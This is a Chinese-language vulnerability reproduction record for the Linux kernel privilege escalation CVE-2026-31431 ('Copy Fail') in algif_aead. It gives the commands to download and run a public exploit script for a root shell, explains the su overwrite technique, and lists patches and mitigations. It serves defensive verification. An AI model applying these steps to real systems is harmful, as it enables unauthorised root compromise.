CVE-2026-31431 (Copy Fail) 漏洞复现与验证记录
CVE-2026-31431 (Copy Fail) 漏洞复现与验证记录
时间:2026年4月30日
目标:验证 Linux 内核本地提权漏洞 CVE-2026-31431 的真实性与影响范围
一、漏洞概述
CVE-2026-31431,命名为“Copy Fail”,是一个 Linux 内核algif_aead模块中的高危本地提权漏洞。该漏洞自 2017 年起潜伏于内核,影响几乎所有主流 Linux 发行版(包括 Ubuntu、Debian、RHEL、SUSE 等)。攻击者利用该漏洞可在非 root 用户条件下获得完整的 root 权限。CVSS v3.1 评分为7.8(高危),其利用代码(PoC)已于 2026 年 4 月 30 日公开,拥有极高的现实威胁性。
二、影响范围
- 受影响内核版本:2017 年之后的绝大多数 Linux 内核(包括但不限于 5.x、6.x、7.x 早期版本)
- 已确认受影响的发行版及内核:
- Ubuntu 24.04 LTS(内核 6.8.0-41-generic)
- Ubuntu 22.04 LTS(内核 5.15.0-176-generic)
- 其他基于相同内核版本的 Linux 系统
三、复现环境
3.1 x86_64 环境(成功提权)
| 项目 | 信息 |
|---|---|
| 操作系统 | Ubuntu 24.04 LTS(基于内核 6.8.0-41) |
| 架构 | x86_64 |
| 内核版本 | 6.8.0-41-generic #41-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 2 20:41:06 UTC 2024 |
| 完整 uname -a | Linux ubuntu-1170-12-2C-V11C 6.8.0-41-generic #41-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 2 20:41:06 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux |
| 漏洞模块 | algif_aead |
| Python 版本 | 3.10.x(系统自带) |
| 用户权限 | 普通用户 (uid=1000) |
3.2 ARM64 环境(漏洞存在,PoC 未适配)
| 项目 | 信息 |
|---|---|
| 操作系统 | Ubuntu 22.04.2 LTS |
| 架构 | aarch64 (ARM64) |
| 内核版本 | 5.15.0-176-generic |
| 漏洞模块 | algif_aead |
| Python 版本 | 3.12.13(自编译) |
| 用户权限 | 普通用户 (uid=1000) |
四、验证过程
4.1 x86_64 环境:成功提权
下载公开 PoC(以原始
exp.py为例):wgethttps://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/exp.py确认漏洞模块已加载:
lsmod|grepalgif_aead- 若未加载,手动加载:
sudo modprobe algif_aead
- 若未加载,手动加载:
以普通用户身份运行 PoC:
python3 exp.py执行结果:
# whoami root # uname -a Linux ubuntu-1170-12-2C-V11C 6.8.0-41-generic #41-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 2 20:41:06 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux成功获得 root shell,验证漏洞真实存在且利用稳定。
4.2 ARM64 环境:漏洞存在但 PoC 不兼容
检查内核版本与模块:
parallels@ubuntu:~$uname-r5.15.0-176-generic parallels@ubuntu:~$ lsmod|grepalgif_aead algif_aead204800af_alg327681algif_aead→ 满足漏洞触发条件。
尝试运行 x86 版 PoC(未经修改):
python3 arm_exp.py出现错误:
sh: 1: su: Exec format error原因分析:
- 公开 PoC 中嵌入的shellcode 为 x86_64 架构指令。
- 在 ARM64 系统上执行该 PoC 时,shellcode 被写入
/usr/bin/su的内存映射,导致su二进制文件损坏(ELF 头被错误指令覆盖),系统无法识别。 - 漏洞本身在 ARM64 内核中同样存在,但缺乏适配的 ARM64 利用代码。
进一步验证 ARM64 漏洞存在性:
- 执行
sudo apt install --reinstall passwd恢复损坏的su。 - 漏洞触发条件(
algif_aead可用 + 内核版本未修复)依然满足。 - 结论:ARM64 系统确实存在漏洞,只是无法利用现有的 x86 PoC 提权。
- 执行
五、漏洞原理简述
Copy Fail漏洞位于algif_aead内核模块的处理逻辑中。攻击者通过精心构造的sendmsg调用触发内核内存复制竞争条件,导致任意内核内存写入。在 PoC 中,攻击者将目标锁定为su程序的内存映像,覆盖其代码段中的特定字节,使其执行execve("/bin/sh")从而获得 root shell。
六、修复建议
6.1 立即升级内核(官方补丁)
| 发行版 | 修复内核版本(示例) |
|---|---|
| Ubuntu 22.04 | ≥ 5.15.0-178 |
| Ubuntu 24.04 | ≥ 6.8.0-42 |
| 通用 Linux | ≥ 6.18.22 / 6.19.12 / 7.0 |
执行以下命令更新系统并重启:
sudoaptupdate&&sudoaptupgrade-ysudoreboot6.2 临时缓解措施(无法立即升级时)
禁用存在漏洞的内核模块algif_aead:
echo"install algif_aead /bin/false"|sudotee/etc/modprobe.d/disable-algif-aead.confsudormmod algif_aead2>/dev/null注意:禁用该模块可能会影响某些使用 AEAD 算法的加密应用,但通常不影响日常使用。
七、总结
| 环境 | 漏洞存在 | 成功提权 | 原因 |
|---|---|---|---|
| Ubuntu 24.04 LTS(基于内核 6.8.0-41) | ✅ | ✅ | 公开 PoC 直接可用 |
| ARM64 Ubuntu 22.04 | ✅ | ❌ | PoC 不兼容,需适配 shellcode |
- CVE-2026-31431 是一个真实且高危的 Linux 本地提权漏洞,影响广泛。
- 普通用户应立即更新内核,避免被恶意攻击者利用。
- 安全研究人员在 ARM64 平台上复现时,需要自行编译 ARM64 版本的 shellcode 并修改 PoC 中的写入逻辑(保留 ELF 头完整性)。目前公开的 PoC 仅支持 x86_64。
八、附录
A. 恢复被损坏的su命令(ARM64 环境)
如果运行 x86 PoC 导致/usr/bin/su损坏,执行:
sudoaptinstall--reinstallpasswdB. 参考链接
- GitHub PoC 仓库(x86_64 版本)
- [Ubuntu Security Notice (预期发布编号 USN-xxxx-x)]
- Linux Kernel Mailing List 补丁讨论
声明:本文仅用于安全研究和技术交流,请勿用于非法攻击。建议所有受影响用户尽快升级修复。
